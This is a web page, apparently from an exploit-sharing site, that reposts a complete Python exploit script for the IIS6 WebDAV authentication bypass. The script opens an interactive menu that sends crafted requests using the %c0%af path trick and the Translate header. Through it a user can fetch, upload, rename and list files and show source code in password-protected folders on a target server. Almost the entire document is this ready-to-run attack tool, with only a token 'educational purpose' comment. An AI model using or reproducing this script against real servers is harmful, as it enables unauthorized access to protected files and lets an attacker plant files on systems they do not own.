No account yet?
Home » Exploits » IIS6 WebDEV Authentication bypass exploit (Python)
IIS6 WebDEV Authentication bypass exploit (Python) E-mail
Feeds - Exploits
Written by str0ss   
Monday, 01 June 2009 14:11

#############################################

#!/usr/bin/python
# IIS6 WebDEV Authentication bypass exploit
#
# Done by Str0ss
# mail.str0ss[At]gmail[d0t]com
#
# Usage python <filename.py>
# Follow the instructions
# This exploit is made for educational purpose
#
# For this exploit to work
# 1. WebDEV should be enabled
# 2.For File upload / Dir browsing / show source
#   currosponding previlage should be enabled.
#   Exploit will perform only auth'n bypass.
#
# Thanks to kcope

import socket

def get():
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((t_IP,t_port))
    fn = raw_input("Enter the file name to fetch:")
    req = "GET /%c0%af" + vul_fold +"/" + fn + " HTTP/1.0\r\n"
    req += "Translate: F\r\n"
    req += "Host: " + t_IP + "\r\n"
    req += "Connection: close\r\n"
    req += "\r\n\r\n"
    sock.send(req)
    data = sock.recv(1024)
    string = ""
    while len(data):
        string = string + data
        data = sock.recv(1024)
    sock.close()
    print "\n_____SERVER RESPONSE_____\n" + string
    print "\n\n USE DISPLAY SOURCE IF GET IS NOT WORKING."

#put
def put():
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((t_IP,t_port))
    file_name = raw_input("Enter the filename to upload [should be in the working dir]:")
    FILE = open(file_name)
    text = FILE.read()
    print "File content:\n" + text
    FILE.close()
    file_length = len(text)
    req = "PUT /%c0%af/" + vul_fold + "/" + file_name +" HTTP/1.0\r\n"
    req += "Connection: close\r\n"
    req += "Host: " + t_IP + "\r\n"
    req += "Content-Type: text/xml; charset='utf-8'\r\n"
    req += "Content-Length: " + str(file_length) +"\r\n\r\n"
    req += text + "\r\n"
    sock.send(req)
    data = sock.recv(1024)
    string = ""
    while len(data):
      string = string + data
      data = sock.recv(1024)
    sock.close()
    print "\n_____SERVER RESPONSE_____\n" + string

#move
def move():
    source = raw_input("Enter the source file [old.htm]:")
    target = raw_input("Enter the target file [new.htm]:")
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((t_IP,t_port))
    req = "MOVE /vul%c0%af/" + source +" HTTP/1.0\r\n"
    req += "Destination: %c0%af/vul/" + target + "\n\n"
    sock.send(req)
    data = sock.recv(1024)
    string = ""
    while len(data):
        string = string + data
        data = sock.recv(1024)
    sock.close()
    print "\n_____SERVER RESPONSE_____\n" + string

#list
def list():
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((t_IP,t_port))
    req = "PROPFIND /%c0%af" + vul_fold + " HTTP/1.0\r\n"
    req += "Connection: close\r\n"
    req += "Host: " + t_IP + "\r\n"
    req += "Content-Length: 0\r\n\r\n"
    sock.send(req)
    data = sock.recv(1024)
    string = ""
    while len(data):
        string = string + data
        data = sock.recv(1024)
    sock.close()
    print "\n_____SERVER RESPONSE_____\n" + string
   
#disp source
def disp():
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((t_IP,t_port))
    fn = raw_input("Enter the file name:")
    req = "GET /" + vul_fold +"%c0%af/" + fn + " HTTP/1.0\r\n"
    req += "Translate: f\r\n"
    req += "Connection: close\r\n"
    req += "Host: " + t_IP + "\r\n"
    req += "\r\n\r\n"
    sock.send(req)
    data = sock.recv(1024)
    string = ""
    while len(data):
        string = string + data
        data = sock.recv(1024)
    sock.close()
    print "\n_____SERVER RESPONSE_____\n" + string

#main program
t_IP = raw_input("Enter the Terget web server[IIS] IP address:")
t_port = 80  #change the port is the web server is running on different port

vul_fold = raw_input("Enter the vulnerable [password protected] folder name:")
print "Target is :" + t_IP + "/" + vul_fold
exi = 0
while(exi == 0):
    print "\n[1]  GET a file from vulnerable folder."
    print "\n[2]  PUT a file into the vulnerable folder."
    print "\n[3]  MOVE a file [Rename]"
    print "\n[4]  LIST files in a directory"
    print "\n[5]  Display the source code [Same as GET]"
    print "\n[q]  Exit"
    inp = raw_input("enter your choice:")
    if inp == '1':
        get()
    if inp == '2':
        put()
    if inp == '3':
        move()
    if inp == '4':
        list()
    if inp == '5':
        disp()
    if inp == 'q':
        exi = 1
       
print "\nThanks for using this exploit."
print "\n For any suggession / quries mailto: mail.str0ss[aT]gmail[d0t]com"

 

Security Services by HSC